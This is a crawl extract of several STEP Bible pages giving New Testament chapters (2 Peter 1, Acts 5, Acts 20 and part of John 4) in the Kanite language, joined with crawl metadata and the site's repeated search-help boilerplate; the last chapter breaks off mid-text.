kwégwaraamba póꞋa simátímaꞋmae íyónaꞋa imáyáa úmae iyónááowe. 13 marapáꞋó máyaundaraꞋa simátímaꞋmae íyónaꞋa imáyáa úmae iyónááowe. mirámó ónaunda kaweríꞋa ónaumne. 14 ááéma kentáásí Ísóigo Ísu Káráísiti simásimena séna puwíníyone siráimba póꞋa sáwíyankaꞋa puwéꞋa íma marapáꞋá ménaunda póꞋa 15 mináímbá agaimaréꞋo púwónda awánéꞋa mináíntávéꞋa imáyáa úmae iyónááowe.\nÍsuna ságayamba awánáúmne siráin-kwasai.16 kentáásí Ísóigo Ísu Káráísiti asirayánkwáráꞋá kumíníye-aimba íma manír-áínkáántá simátímakaundayaanivo súrandeiya kwená usáyaaitaya-sagayanta awánaraundayaveta árair-aimba simátímakaumne. 17 Áánútu ítámakain-omakaꞋa Ísuwe máyaawananaya Áánútu kentáásivowa Ísu áwíꞋa anómba éna usáyaaitaya-sagayampinkemba séna kesááninko ónana ávááraumai entávéna kwésinkaisaꞋa ávááraumai aamoí kwéumankaumne kwíyómpakemba súwata ísaraumne.\n19 ísaraundayaveta asiramái séta naaóváꞋá Áánútun-aai simátímakon-aimba árair-aimban-iye. súndaya mináímbá imáyáa oró. túnkain-ayampaꞋa sáma kwégain-aimban-ivo mináímbá aúváívimba awánáíyana aaváúmó usénamo sámo kaintembá kentí imáyáavinkemba miráumai sáma káínana Ísu Káráísiti aaváúmó usaráisanamo kwáyáin-okoraamba umái sáma kamátinkaniye. 20 simátíménda-aimba ísámai kaweꞋá oró. naaóváꞋá Áánútun-aai simátímakowai aúváí-kwandaaivimba agaimakón-ainkona ááimba kemá kwaási kentáásí imáyáavinkemba íma kanaán-umai isánaundayaawe. 21 íma miwítí imáyáavinkemba simái agaimakáavo Áánútun-amanko kwenáái simátimuwasa agaimakómba Áánútun-amanko mináínkóná ááimba kwésuwaꞋnaa-isata kwéisaumne.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=2Pe.1","date":"2018-04-23T01:58:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945669.54\/warc\/CC-MAIN-20180423011954-20180423031954-00453.warc.gz","language":"kze","language_score":0.9999564886,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.999956488609314}","num_words":522,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.113,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Acts 5\nÁnánáesinte Sáváeraantei kwaasái.1 Páánápáasi minóntámbá tímúwasarai moóráwai áwíꞋa Ánánáesi awainínkó áwíꞋa Sáváerae mésarai moórá-marama óꞋon-kwaasi kwétimesarai óntamba mairésarai 2 taaináyauyo-aimba awainínkómbá simámuwana mirá íníyone súwana minóntámbá taaínkaar-urena évakaꞋa kwesáváí maéna évakaꞋa maimaéna aantá-kwaasi mói tiména kampaꞋá séna amápaꞋa timúne súwana 3 Pítaa séna Ánánáesiyo Sáátáánigo áísaa umai isánáe sintáváí owé se mararákén-óntámbá amápaꞋa timúne siráanda Áánútun-amankomba kampaꞋá simáukaane. 4 mimbárámá ená maramá isa tuwé óntamba mairé ená óntamba isa évakaꞋa timé íma sáwíꞋa éma mararákén-óntámbá évakaꞋa timúne íma sénda amápaꞋa timúne séndama sáwíꞋa ómpo íma kwaásiye suꞋmai kampaꞋá simátíyukaampo Áánútun-amankomba kampaꞋá simáukaane Pítaa súwana 5 Ánánáesi iséna puꞋmaéna tuvamúwasa mináímbá ísaraan-kwaasi ávááraumai táátavai uwasá 6 ívé-kwaasi tésa puwúmba taasááúmaesa maimaésa máutaraawe.\n7 máutaawana awainínkó sáwíyankaꞋa ména awaikómó puwún-aimba íma ísarena Pítaa-iyaitopaꞋa túwana 8 Pítaa séna keináraiti mararákén-óntámbá amápara símakaiyo súwana minínínkó séna owé amápaꞋan-iye kampaꞋá súwana 9 Pítaa séna enawaikóe esé mimbórá-ímáyáá ékai Ísóigon-amankomba kampaꞋá simáuꞋmai awánayae sirááiye. enawaiꞋó mágwéutaan-kwaasi tésa embá tamaimaésa máutanaaowe Pítaa súwana 10 puꞋmaéna Pítaa aísamaivimba tuvamúwasa ívé-kwaasi tésa puwúmba taawánésa maimaésa awaikómbó utamánkópaꞋa máutowasa 11 Ísóigona kwaásiye óꞋon-kwaasiye isésa táátavai uráawe.\nóꞋon-oꞋom-bayai kaweꞋ-máyáígóná kwaasái.12 aantá-kwaasi kwaási túrankaꞋa óꞋon-oꞋom-bayai kaweꞋ-máyáímá maimaésa íyúwasa Ísuna aampaꞋá kwéguwai anóm-bonoꞋ-namba Sórómoni áúgwimai úmakopaꞋa aasiyaaí torupamái kwémauwasa 13 óꞋon-oꞋon-akwaꞋa sáwívaꞋa Ísóigon-aaiyavesa áraire sésa miwísé torupamái maémáémbanivo óꞋon-kwaasi tuwánésa sésa kawe-kwáásín-owe sésa táátavai ésa íma miwísé torupamái máyówasa 15 aantá-kwaasimo uráamba isésa tíꞋo ún-kwaasi tuvaipímbá taagwiyaꞋmaésa naambáruꞋa mátinkesa sésa Pítaa kwénaaena amankóꞋnaanko taaugwétáínasa asóvaigwae suwasá 16 óꞋon-oꞋon-daopakemba tíꞋo ún-kwaasigwara tirumpimbá taraváá-kwámbá máyon-kwaasigwaraꞋa tíꞋmaesa Yérúsaremu-naopaꞋa mátínkówana Áánútu Pítaamba áwaꞋnaa úwasa amápaꞋa asóvasaraawe.\nkawáá-kwáásí aantá-kwaasi sáwíꞋa umátínkaraan-kwasai.17 mirá kwéuwana aivaꞋ-mónó-káwáánákóe kwená kwaási Sátúsi-monor-aimbo sun-kwáásíyé sésa amáparawai íma kentáásiraaima kwáráavo aantá-kwaasi tirááíma kwáráawe sésa tíyántavai ésa 18 tátoꞋmai ándávaꞋa tiyúwówana 19 mindóꞋwáámbá kwáúnkaꞋa Ísóigona kwayóꞋnákó kwíyómpakendako ontamá tisuwéna tíꞋmaena máápaꞋa móruntinkena séna 20 anóm-bonoꞋ-naumpaꞋa uméꞋa aúná-amba kwaási kaweꞋá umái maíꞋmaiꞋa ónááon-ankona ááimba usimátíméro súwasa 21 isésa irataróꞋa anóm-bonoꞋ-naumpaꞋa umésa mináímbá simátímakaawe.\nanóm-bonoꞋ-naumpaꞋa moórávaꞋa kwésimatimuwasa moórávaꞋa aivaꞋ-mónó-káwáánákóe kwená kwaásiye tésa ándá-kwaasi táái isánáe sésa Ísareri-anon-kwaasi tááyowasa tésa monoꞋ-nánkár-í-kwáásíyávésa sésa aantá-kwaasi ándávaꞋa máyáavo kotíꞋmaeꞋa teró suwasá 22 kumbá íma máyówasa koyauwerésa tésa sésa 23 ándá-namba ontamá umásuwesa i-kwáásí ontaráꞋá máyáawata onta tisuwéta awánáúndaya íma máyáawata úne suwasá 24 mono-káwáá-kwáásíyé monoꞋ-nánkáꞋó kárákwirowaiye isésa táátavai ésa sésa mindá nóraya ónaundayaꞋiyo simásuwesa sáwívar-imayaa kwéuwana 25 moóráwai téna séna ándávaꞋa mátíyukaan-kwaasi anóm-bonoꞋ-naumpaꞋa mésa kwésimatimewaꞋa tuwánáúmne súwasa 26 monoꞋ-nánkáꞋó kárákwirowaiye kwembó áwaꞋnaa un-kwáásíyé kotíꞋmaesa kwempaꞋá tésa sésa úwoi-kwaasi miwí táái isésa sínkamovo sésa kwempaꞋá 27 tíꞋmaesa aaimó isáí-kwáásítópaꞋa mátínkówana aivaꞋ-mónó-káwáánákó 28 séna áꞋa simátimeta séta minkwáásígón-áái kwenáwíkaꞋa íma simátímaꞋmaeꞋa koróyá siráundaya isaꞋá áꞋa simátíméwasa Yérúsaremuvaken-kwaasi amápaꞋa ísáyaraawaꞋa ke kampa-kúvímbá sinkéta minkwáásí tuvúkáawe kwésewe aivaꞋ-mónó-káwáánákó súwasa 29 Pítaa-iyai óꞋon-aanta-kwaasiyonkwaraꞋa sésa Áánútun-aai aivar-áínkómá póna kwaási tááigomba usáyaaitaraimba póta kentááiya íya iséta Áánútun-aaiya iséta miráyá ónaumne. 30 keinárawaꞋa Ísumba taairaꞋá inkámúwana puwúwana kentáá síkwáꞋnáona Ísóigo Áánútu Ísumba pukáimpinkemba usásinankena 31 séna anón-kwaasi póna sáwíꞋo umáímo máyáampinkemba kawer-ámpáꞋá métinkaniye séna ayáánúrapaꞋa asirayán-áyámpáꞋá móankena Ísareri-kwaasi kentí sáwí-imayaa tuwéꞋa ÁánútunopaꞋa tíyana kentí sáwí-imayaa maitiyuwáníye séna Áánútu Ísumba pukáimpinkemba usásinankena ayáánúrapaꞋa asirayán-áyámpáꞋá móankaraiye. 32 mináímbá iséta kaweꞋá umáíya kwésimatimunanaya Áánútun-amanko mináímbá kaweꞋá umái kwésimatimiye. Áánútuma kwenáái ísámai kaweꞋá kwéowai kwenamambá kwétimisana Áánútun-amanko mináímbá kwésimatimiye aantá-kwaasi siráawe.\n33 simásúwówasa aaimó isáí-kwáásí isésa tirumbá sáwíte úwasa tínkamonae-imayaa uwaná 34 miwítí avumpinkémbá moóráwai usásinena ámáán-kawaa-kwaasigo áwíꞋa Kámérieri kwemá usásinena miwí táái káráyuwena kwemá Áánútun-aai aúváí-kwandaaivinkemba aasiyaasí simáti simati kwéuwasa kwenáwíꞋa mósá makáawai kwemá usásinena aantá-kwaasiyavena séna sáwíyankaꞋa máápaꞋa kumónááowe súwasa máápaꞋa kúmúwana 35 séna Ísareri-kwaasiyono. minkwáásíyáváí mirá ónáemo síyamba kakaariyá íma mirá éꞋa ísáíyuweꞋa mirán-oro. 36 ááéma moóráwai áwíꞋa Tiutaásí usásinena séna anón-kwaasi únda póꞋa kesirááíye séꞋa kwaránááowe súwasa sáwíva-kwaasi 400 kwaasi kwarówana moóráwai Tiutaásímbá tuvuwúwana puwúwasa kwembó kwaꞋmaésamo nááún-kwaasi kóyáwé ésa kwená mayáí ivátukaawe. 37 minkákémbá túwíꞋo aawásó-tawai moóráwai Kárírivakewai áwíꞋa Yútási usásinena tááyowasa sáwíva-kwaasi kwenarááíma kwaꞋmaésa kwéguwana moóráwai tuvuwúwana puwúwasa kwembó kwaꞋmaésamo nááún-kwaasi kóyáwé umáguraawe. 38 mindáyavai imáyáa éꞋa minkwáásíyómbá íma ándávaꞋa mátiyuweꞋa tíyúwéwasa máéro. miwítí mayáígóná ááimbo marará-kwáásítí imáyáavinkembo énamo éna ánásaniye. 39 miwítí mayáígóná ááimbo Áánútuna imáyáavinkembo ínaꞋo éꞋa íma kanaán-umai karánááovo úwoi kwaíkwaiꞋa íníye. Áánútumpakembo ínaꞋo éꞋa minkwáásí sáwíꞋo umátinkeꞋo éꞋa ÁánútunkwaraꞋa sáwíꞋa umánkanaaowe Kámérieri súwasa aaimó isáí-kwáásí isésa kwenááiyavesa owé sésa 40 aantá-kwaasi tááyowasa íyúwasa túwírukuꞋa nésa asiramái sésa Ísun-aai kwená asirayámbá íma simátíméro sésa tiꞋmákaawe.\n41 tiꞋmárówasa kwéesa tigaeyáváí uráasina Áánútu imáyáa timúwana tirunkó kaweꞋá úwasa sésa Áánútu asirayámbá símakaisata Ísuntaveta asiramáíya máyaundaya pósa síꞋo iníꞋa umásínkáantaanivo sirunkó kawetá isatá máyaumne aantá-kwaasi simásuwesa 42 aasiyaasi-táwai anóm-bonoꞋ-naumpaꞋa kwaásiti naúmpimpaꞋa Ísuna áséi-kwasai simátímaꞋmaesa kwénaaesa Áánútumo usásinankaiwai Yútaa-kwaasiya kwéamuꞋmaraundayawai kwemá Ísuman-iye sésa simátímaꞋmaesa kuráawe.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Act.5","date":"2018-04-20T09:07:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125937193.1\/warc\/CC-MAIN-20180420081400-20180420101400-00436.warc.gz","language":"kze","language_score":0.9999997616,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999997615814209}","num_words":851,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.113,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Acts 20\nPóro Másétóniyaa-maravare Kíríki-maravare kwénaaun-kwasai.1 miwí táái ánásowana Póro Ísuna aampaꞋá kun-kwáásí tááyowasa tuwaná miwítí imáyáa simái kaweꞋá umátinkena séna Ísun-aaiye suꞋmai maimái tirumpimbá kaweꞋá oró séna ánivo méwaro séna tiyuwéna Másétóniyaa-maravaꞋa kweémena 2 miváꞋá naaóꞋ-naoꞋa kwénaaena Ísuna aampaꞋá kun-kwáásíyávéna ávááraumai simátímaꞋmaena kwénaauwasa tirumbá kaweꞋá úwana tiyuwéna Kíríki-maravaꞋa kweémena 3 koména kaumbo-kwíyómbá maisuwéna nompí-sípívímbá Síriyaa-maravaꞋa kónáe séna úwasa Yútaa-kwaasi kwená ámááyu-aimba sumbá iséna ivátuwena Másétóniyaa-maravaꞋa marapáꞋá kónaumne súwasa 4 maaráumai-kwaasi moóráwai Pérea-naopakewai Pírasi ááninko áwíꞋa Sópata úwana Tésárónaikaa-naopakendarai túwíꞋa Árísítakasiye Sékandaawe uyaná Tépi-naopakewai áwíꞋa Káyási úwasarai Ésiyaa-maravakendarai túwíꞋa Tikikásaawe Tóvimasiye uyaná Tímóti úwasa umái Pórowe kwésa 5 aivaꞋá Táróasi-naopaꞋa komésa kentáásimuꞋa makówata 6 Yútaa-kwaasimo ímo intóráin-tantaakwara-pereti úwoi-peretimo kwéagayon-kanaama ánásonkaꞋa Vírípai-naopakemba nompí-sípí tátoꞋmai usáateta kweémeta évaꞋaasei-noꞋwaamba mindómpí-sípívímbá kógwaeta Táróasi-naopaꞋa marapáꞋá kunásáveta aivaꞋó komésamo kentáásimuꞋo makón-kwaasiyeya kométa moórá-sontaaya méraumne.\nYútíkásaamba pukáimpinkemba usásinankarain-kwasai.7 sontaaráꞋá Ísuntaveta ísámai toómbá néta aráá-tomba naandayávéta torupamái máyaawananaya Póro aaváyaa kónáe séna simátímaꞋmaena noꞋwáán-avuntamba iyúmba 8 ávúmayaatanaan-daumpaꞋa méta sáwívar-omba kúraꞋmaketa máyaawananaya 9 moóráwai ívé-kwaasigo áwíꞋa Yútíkása naan-aváápímbá umáyowana Póro Ísun-aai simátímaꞋmaena kwéiyuwana Yútíkásaamba áúgávaaꞋa úwana kwaeguréna meminkákémbá tokáꞋmaena marapáꞋá kuntuvamúwasa marapáꞋá kunkésa kunawánomba pukúwasa uwaná 10 Póro kuména kunkívairena taparéna awánéna séna íma imáyáa oró. pukéna kusúvarena umái máyáiye simátimena 11 mindáúmpáꞋá iyéna Ísuntavena ísámai toómbá topámbai timúwasa nowaná Póro simátímaꞋmaena kwéiyuwana mói irataróꞋa tiyuwéna kúwasa 12 puwúwanamo usásinankon-kwaasigomba áíꞋmaesa kwená naaúmpaꞋa máankesa tirumbá kaweꞋá úwasa méraawe.\nPóro Máíritasi-naopaꞋa kuráin-kwasai.13 máyówana Póro simásimenaya séna keinárawaꞋa nompí-sípívímbá Ásoso-naopaꞋa kwégwiyaꞋa kemá marapáꞋá kweémeꞋa Ásoso-naopakemba nompí-sípí tátoꞋmai usáateꞋa kónaumne súwata aivaꞋá kunkéta nompí-sípí tátoꞋmai usáateta kweémeta Ásoso-naopaꞋa kówánanaya 14 Póro marapáꞋá kweémena Ásoso-naopaꞋa kuréna nompí-sípí tátoꞋmai usáatowata kweémeta Mítíríni-naopaꞋa kógwaeta 15 irataróꞋa kweémeta Káyoso-maravaꞋa kóyaaitaawananaya enówata kógwaeta usá aaváyaavimba kweémeta Sémóso-maravaꞋa kóyaaitaawananaya enówata kógwaeta usá aaváyaavimba kweémeta Máíritasi-naopaꞋa kówánanaya 16 toómbá ákáꞋmai Áánútuntavesa ísámai kaunánáe sésa torupaan-kánáá sáwíyankaꞋa tíníye kwéuwana Póro séna avekáámbá Yérúsaremu-naopaꞋa kuréꞋa mintánómbá komandánáe séna nompí-sípívímbá Évésasi-naopaꞋa kóyaaitanaundapo Ésiyaa-maravaꞋa íma ayáátáákaꞋa ménaumne súwata Máíritasi-naopata kuráumne.\nPóro Évésasivaken-kwaasiyavai méwaro siráin-kwasai.17 Máíritasi-naopata kówánanaya Póro moóráwaimba aiꞋmarówana Évésasi-naopaꞋa kweémena Ísóigona kwaásiti anón-kwaasiyavena kosimátimena séna Póro kwétaayaivo teró siráiye súwasa 18 tuwaná simátimena séna kesáái ísáaro. kesí aiva-táwai Ésiyaa-maravaꞋa kesé koméꞋa kemó ówánda suwánaraawe. 19 Yútaa-kwaasi sínkamiyanesa kwésuwana sirunkó umbaí kwétowaꞋa íma imáyáa éꞋa Ísóigona kwayóꞋnáꞋá úne séꞋa kwenaísamaivimba méꞋa kwená mayáí mairáumne. 20 íma aúpáꞋá tuwéꞋa amápar-aimba úwoi simátimeꞋa kembó túwaꞋnaa ií-áímbá torupamái máyáampine kentí naaúmpare simátímaꞋmaeꞋa iráunda áꞋa ísaraawe. 21 Yútaa-kwaasiye óꞋonkaa-kwaasiye ávááraumai simátimeꞋa séꞋa sáwí-imayaa tuwéꞋa ÁánútumpaꞋa téꞋa Ísóigo Ísun-aaiyaveꞋa áraire séꞋa kwesé aráápamai máéro simátímaꞋmaeꞋa iráumne. 22 ánivo Áánútun-amanko YérúsaremuvaꞋa kwaaó simásímakaimba póꞋa mirá ónaumne. kesineꞋó paárinintavai íma isáúnda úwoi kwégune. 23 amápaꞋ-naopaꞋo kúnda Áánútun-amanko asiramái simásimena séna umbai-yántááꞋá umánkesa ándávaꞋa máánkanaaowe simásímímba mindáwe suꞋmai ísaraumne. 24 sínkamiyaꞋo puwónaundaraꞋa íma kárákwiyonaunda póꞋa Ísóigo Ísu símakaim-bayai maimái ánásanaumne. Áánútu úwoi kwésuwaꞋnaa-i-aimba áséi-kwasai simátímaꞋmaeꞋo kwéiyunda-mayai maimái ánásanaumne.\n25 mimbáyáí mairáunda keinárawapimba kwénaaeꞋa Áánútu kwená kwaási kwégawaain-aimba simátímakaunda póꞋa naaémbo éꞋa kembó ímo suwánáíyamba ken-ísaraumne. 26 íma inkaiséwánda Áánútun-aai amápar-aimba simátímakaunda pósa keinárawapinkembo évakarawaimo kesááimo ímo isésamo ÁánútumpaꞋo ímo tésamo ombá íma kesí ááinkoman-ivo kentí ááinko ínaꞋa mirá ónááontaveꞋa mináímbá ívéꞋa asiramái kwésimatimune. 28 Áánútu ááninkomba aiꞋmarówana kuména kumpuwéna kwená naaenéí meéyán-umásukaimba Ísóigona kwaásin-ovo kárákwiyoro. Áánútun-amanko kembá usásintinkaraivo kentúrakwara Ísóigona kwaásirakwaraꞋa kaweꞋá umái kárákwiyoro. sipisípiraꞋo kárákwiyonten-umai kárákwiyoro. 29 áwáávitemo índa-iyamba téna sipisípi tavamáímo kwáráíntemba kemá kónasa kwaási tésa tasáwíꞋa ónááowe. 30 moórá-kanaa tínasa keinárawapinkemba évakarawai usásinesa Ísuna aampaꞋá kon-kwáásítí imáyáa tavisénáe sésa kampar-áímbá síyasa évakarawai áraire sésa kwaránááowe. 31 mindáyaveꞋa kárákwimai kaweꞋá oró. kaumbo-í kwéteꞋa moórá-morawaimba sirumbá kwéumatinkeꞋa aaváyaavimba enónkaꞋa noꞋwáámba aasiyaasí simátínkámaeꞋa iráumne. mináíntávéꞋa imáyáa umái kaweꞋá oró.\n32 kaweꞋá íyana Áánútu kárákwitinkamae iyínaꞋa máéro. kwenááigo asiramátinkaniye. kwená kwaásimo kaweꞋó kwéumatinkaintemba kenkwáráꞋá kaweꞋá umátinkaniye. 33 óntantavai unáánkwátóiyavai áꞋowiti náaindaantavai íma súran-anda kwéune. 34 mayáímá kwémaeꞋa minóntándéí ímo makáunda-yantaaꞋa mégwémaeꞋa kembó súwaꞋnaa on-kwáásítí toómbá unáánkwátói kwémaitimeꞋa kwéune. mirámó ówánda áꞋa suwánaraawe. 35 asirayám-báyáímó mayááwánda suwánaraamba póꞋa mirá kwéeꞋa pasusimáímo máyáan-kwaasi túwaꞋnaa ónááowe. Ísóigo Ísu siráin-aimba imáyáa oró. kwemá séna kwémayaawai tirunkó kaweꞋá kwéimbanivo kwétimatuwaawai tirunkó kaweté kwéiye Ísu siráin-aimba Póro siráiye.\n36 Póro simásuwena kívairena minánón-kwáásíyé ÍsóigompaꞋa námúnaa simásuwowasa 37 amáparawai ávááran-iviꞋa kwétesa Póromba tayaparésa paruvará umánkesa uwaná 38 Póro séna naaémbo éꞋa íma suwánanaaowe siráin-aintavai tirumbá umbaí kwétowasa nompí-sípívímbá móruna áúkaawe.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Act.20","date":"2018-04-20T22:19:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125944742.25\/warc\/CC-MAIN-20180420213743-20180420233743-00287.warc.gz","language":"kze","language_score":0.999984026,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999840259552002}","num_words":800,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.092,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"John 4\nSámériyaavaken-ininkona kwaasái.1 Yóni nombó pétinkarain-kwaasi Ísumo pétinkaraimba kóyaaitamai-kwaasi pétinkaraiye. ánivo Ísuma íma pétinkaraivo kwená kwayó-kwáásí pétinkaraawe. Yónimo kwévetinkain-kwaasi Ísumo kwévetinkaimba kóyaaitamai-kwaasi kwévetinkain-aimba ámáán-kawaa-kwaasimo ísón-aimba Ísu iséna Yútiyaa-ayampaꞋa tuwéna moórágwaraꞋa Káríri-ayampaꞋa kónáe séna 4 Sámériyaa-ampaꞋa kónaumne séna 5 kúmba Sámériyaa-ayampaꞋa Sáíkaa-naopaꞋa naaóváꞋó Yákópomo ááninko Yósépimbo ámakom-barama egwaaꞋá kwáyon-daopaꞋa kúmba 6 Yákópo nombá uwíníyena uꞋmakóm-baiꞋa kwáyowana aampaꞋá kwéguwana Ísumba ávón-kówana mimbáíkáꞋá kwáyáꞋwái komáyowasa 7 kwená kwayó-kwáásí toómbá meéyán-onae sésa naaópaꞋa kuwaná Sámériyaa-ininko nombá uwíníyena túwana Ísu séna nombá usimiyó súwana 9 minínínkó séna emá Yútaa-kwaasi ómpo kemá Sámériyaa-inimba úmpo íma nombá usimiyó siyó siráiye. Yútaa-kwaasiye Sámériyaa-kwaasiye íma moórá-anavinkemba kwénaantavena íma nombá usimiyó siyó súwana 10 Ísu séna Áánútumo kanaán-umaimo amínín-tantaaꞋa íma awánaraane. nombá usimiyómó súnda-kwaasigona ááimba íma suwánáánda-kwaasi úne. kesí ááimba suwánáándawairaankasi kwántámai se aasiyaasí maíꞋmaiꞋa ónááon-domba simiyó sénaꞋa amúsino súwana 11 minínínkó séna maandómbá avéúmpáꞋó kunkwáyáimba náán-anavina maíꞋmaiꞋo ónááon-domba uwíníyono. 12 kentáá síkwáꞋnáoma Yákópoma maandóm-báíꞋá uꞋmaréna kwená sipisípiye kwená akúnté tímakaimba pósa maandómbá kwénaawe. kemó súnda emá timíníyonda-nonkoma Yákópo tímakain-donkomba íma usáyaaitaniye kwésune súwana 13 Ísu séna maandómbó kwénaiyawaimo éna ókwaraꞋa nontávéna tinkánívo 14 kemó tíménda-nombo náíyawaimo éna íma ókwaraꞋa nontávéna tinkáníye. kemó tíménda-nombo náíyawaimo éna tirumpimbá nonayumpinkémbó usausa intenkáámbá ínasa pósa aúnáiꞋa umái maíꞋmaiꞋa ónááowe súwana 15 minínínkó séna emó sénda-nomba símínaꞋa naananá nontávéna íma sinkáínaꞋa íma maampínkémbá tauwónaumne súwana 16 Ísu séna enawaikómbá koááyamai áíꞋmae tiyó súwana 17 séna kesuwairíyaaimba úne súwana Ísu séna emá áraiꞋa séndamanivo 18 évaꞋaasei-kwamba mairé miwísé maémaenda isamá ívéꞋo minkwáásígó emó máyaanda íma enawaiꞋá isamá po árair-aimba simásimene súwana 19 minínínkó séna kemó imáyáamo únda Áánútun-aai simátimendanaꞋa óne. 20 Sámériyaa-kwaasi kentáá síkwáꞋnáma sésa maanómákáꞋá Áánútuna imáyáa mósá máráaro siráawaꞋa keinárawaꞋa Yútaa-kwaasi séꞋa Yérúsaremu-naopaꞋa Áánútuna imáyáa mósá máráaro sewé súwana 21 Ísu séna kemó sendamá áraire siyó. moórá-kanaamo tínímba maanómákákwárá Yérúsaremu-naopakwarare suꞋmainivo amápaꞋ-mapakwaraꞋa kesivoná imáyáa mósá maránááowe. 22 keinárawaꞋa Sámériyaa-kwaasi kwená imáyáa máráambanivo kwená ááimba íma awánareꞋa owe. Yútaa-kwaasiya kwená imáyáa mósá maréta kwená ááinta awánaraumne. Áánútu séna moóráwai sáwíꞋo umáímo máyáampinkemba kawer-ámpáꞋá métinkanae síníwai Yútaa-kwaasivinkemba paáriniye siráiye. 23 kesivo séna kesí imáyáama mósá maráíyamba íma tóikakemba éꞋa áraiꞋa tirunkakémbá kesí imáyáa mósá máráaro siráimba miráumai moórá-kanaama kwétisasamo áraiꞋo kesivoná imáyáamo mósá kwémaraiyawaima tirunkakémbá arupí umái kesivoná imáyáama mósá maránááowe. 24 Áánútumba áúma íma kwáyáísana amankómá máyáísasa pósa íma túrandei aneꞋá kwéawanaavo miráráán-umai Áánútuna imáyáamo mósá máráambo ombá kwenamankó túwaꞋnaa isasá tirunkakémbá kwená imáyáa mósá máráaro súwana 25 minínínkó séna Áánútumo usásinankaiwaima Káráísitiye sewáí kumíníye. kumíndaraꞋa amápa-tantaatavena simátiminiye sewaꞋá ísaraumne súwana 26 Ísu séna mináímbó séndawaima maandá kemá úne Ísu siráiye.\n27 Ísu mináímbá súwasa kwená kwayó-kwáásí koyauwerésa Ísumo Sámériyaa-ininkontavena súmba Yútaa-kwaasiti namuro-ínínkóntávéna kwésuwana póna tááꞋa kówasa tirumpin-ímáyáámá ésa minínínkóntávéna nóintavaiya kwéankaisana íyó-imayaa ésa Ísuntavesa nóra séna minínínkóe kwésiyo-imayaa ésa íma taáísaa uwaná 28 minínínkómá kwená sawei-ánámá tuwéna naaópaꞋa kwéna simátimena séna 29 amápaꞋa uráunda-yantaaꞋa paárurain-kwaasi máyáiye. Áánútumo usásinankaiwaiyaꞋiya taawánaaro súwasa 30 naaópaꞋa tuwésa ÍsunopaꞋa tumbá 31 Ísuna kwayó-kwáásí Ísuntavesa sésa anóndakoo toómbá naaó amatááráꞋá suwaná 32 Ísu séna kemá íma awánaan-tomba makáumne súwasa 33 kwená kwayó-kwáásí keáímbá sésa nááwa toómbá maimaéna máámakaiyo suwaná 34 Ísu séna toóntávénamo tááimo kwétinkaintemba siꞋmákaiwain-aai iséꞋa kwená mayáímá maimaéꞋa kwégweꞋa ánásanaundayavai kwésinkaiye. 35 